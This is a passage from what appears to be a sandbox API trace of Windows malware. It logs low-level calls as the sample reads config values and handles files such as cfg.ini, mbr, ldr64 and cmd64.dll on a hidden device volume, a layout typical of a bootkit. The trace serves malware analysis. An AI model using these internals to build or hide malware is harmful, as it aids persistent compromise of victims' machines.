Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.869] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.869] IdePortDispatch () returned 0x103 [0123.869] KeWaitForMutexObject () returned 0x0 [0123.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.869] KeLeaveCriticalRegion () [0123.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.870] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.870] KeEnterCriticalRegion () [0123.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.870] KeLeaveCriticalRegion () [0123.870] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.870] KeEnterCriticalRegion () [0123.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.870] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.870] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.870] KeLeaveCriticalRegion () [0123.870] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.870] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.870] KeEnterCriticalRegion () [0123.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.870] ExFreePoolWithTag (P=0xfffffa8003beda50, Tag=0x0) [0123.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.870] KeLeaveCriticalRegion () [0123.870] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.871] ReleaseMutex (hMutex=0xf0) returned 1 [0123.871] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.871] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.871] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.871] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.871] KeEnterCriticalRegion () [0123.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.871] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.871] IdePortDispatch () returned 0x103 [0123.871] KeWaitForMutexObject () returned 0x0 [0123.872] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.872] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.872] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.872] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.872] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.872] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.872] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.872] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.872] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.872] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.872] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.872] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.872] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.872] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.872] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.872] KeLeaveCriticalRegion () [0123.872] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.872] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.872] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.872] KeEnterCriticalRegion () [0123.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.872] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.872] IdePortDispatch () returned 0x103 [0123.873] KeWaitForMutexObject () returned 0x0 [0123.873] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.873] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.873] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.873] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.873] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.873] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.873] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.873] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.873] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.873] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.873] KeLeaveCriticalRegion () [0123.873] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.873] ReleaseMutex (hMutex=0x100) returned 1 [0123.873] Sleep (dwMilliseconds=0x2bf20) [0123.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d089eb0, dwHighDateTime=0x1d24fa4)) [0123.880] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.880] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.880] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.880] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.880] KeEnterCriticalRegion () [0123.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.880] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.880] IdePortDispatch () returned 0x103 [0123.880] KeWaitForMutexObject () returned 0x0 [0123.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.880] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.880] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.880] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.880] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.880] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beda50 [0123.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.880] KeLeaveCriticalRegion () [0123.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.880] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.880] KeEnterCriticalRegion () [0123.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.881] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.881] KeLeaveCriticalRegion () [0123.881] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.881] KeEnterCriticalRegion () [0123.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.881] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.881] IdePortDispatch () returned 0x103 [0123.881] KeWaitForMutexObject () returned 0x0 [0123.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.881] KeLeaveCriticalRegion () [0123.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.881] KeEnterCriticalRegion () [0123.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a8000 [0123.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.881] IdePortDispatch () returned 0x103 [0123.881] KeWaitForMutexObject () returned 0x0 [0123.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.882] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.882] IdePortDispatch () returned 0x103 [0123.882] KeWaitForMutexObject () returned 0x0 [0123.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.882] KeLeaveCriticalRegion () [0123.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.882] KeEnterCriticalRegion () [0123.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.882] KeLeaveCriticalRegion () [0123.883] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.883] KeEnterCriticalRegion () [0123.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.883] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.883] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.883] KeLeaveCriticalRegion () [0123.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.883] KeEnterCriticalRegion () [0123.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.883] ExFreePoolWithTag (P=0xfffffa8003beda50, Tag=0x0) [0123.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.883] KeLeaveCriticalRegion () [0123.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.883] ReleaseMutex (hMutex=0xf0) returned 1 [0123.883] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.883] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.883] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.883] KeEnterCriticalRegion () [0123.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.883] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.883] IdePortDispatch () returned 0x103 [0123.883] KeWaitForMutexObject () returned 0x0 [0123.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.883] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.883] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.883] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.883] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.883] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaaf0 [0123.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.883] KeLeaveCriticalRegion () [0123.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.884] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.884] KeEnterCriticalRegion () [0123.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.884] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.884] KeLeaveCriticalRegion () [0123.884] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.884] KeEnterCriticalRegion () [0123.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.884] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.884] IdePortDispatch () returned 0x103 [0123.884] KeWaitForMutexObject () returned 0x0 [0123.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.884] KeLeaveCriticalRegion () [0123.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.884] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.884] KeEnterCriticalRegion () [0123.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a9000 [0123.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.884] IdePortDispatch () returned 0x103 [0123.884] KeWaitForMutexObject () returned 0x0 [0123.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.885] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.885] IdePortDispatch () returned 0x103 [0123.885] KeWaitForMutexObject () returned 0x0 [0123.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.885] KeLeaveCriticalRegion () [0123.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.886] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.886] KeEnterCriticalRegion () [0123.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] KeLeaveCriticalRegion () [0123.886] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.886] KeEnterCriticalRegion () [0123.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.886] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] KeLeaveCriticalRegion () [0123.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.886] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.886] KeEnterCriticalRegion () [0123.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] ExFreePoolWithTag (P=0xfffffa8003beaaf0, Tag=0x0) [0123.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] KeLeaveCriticalRegion () [0123.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.886] ReleaseMutex (hMutex=0xf0) returned 1 [0123.886] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.886] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.886] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.886] KeEnterCriticalRegion () [0123.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.886] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.886] IdePortDispatch () returned 0x103 [0123.886] KeWaitForMutexObject () returned 0x0 [0123.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.887] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.887] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.887] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.887] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.887] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be85c0 [0123.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.887] KeLeaveCriticalRegion () [0123.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.887] _snprintf (in: _Dest=0xfffff880028b2780, 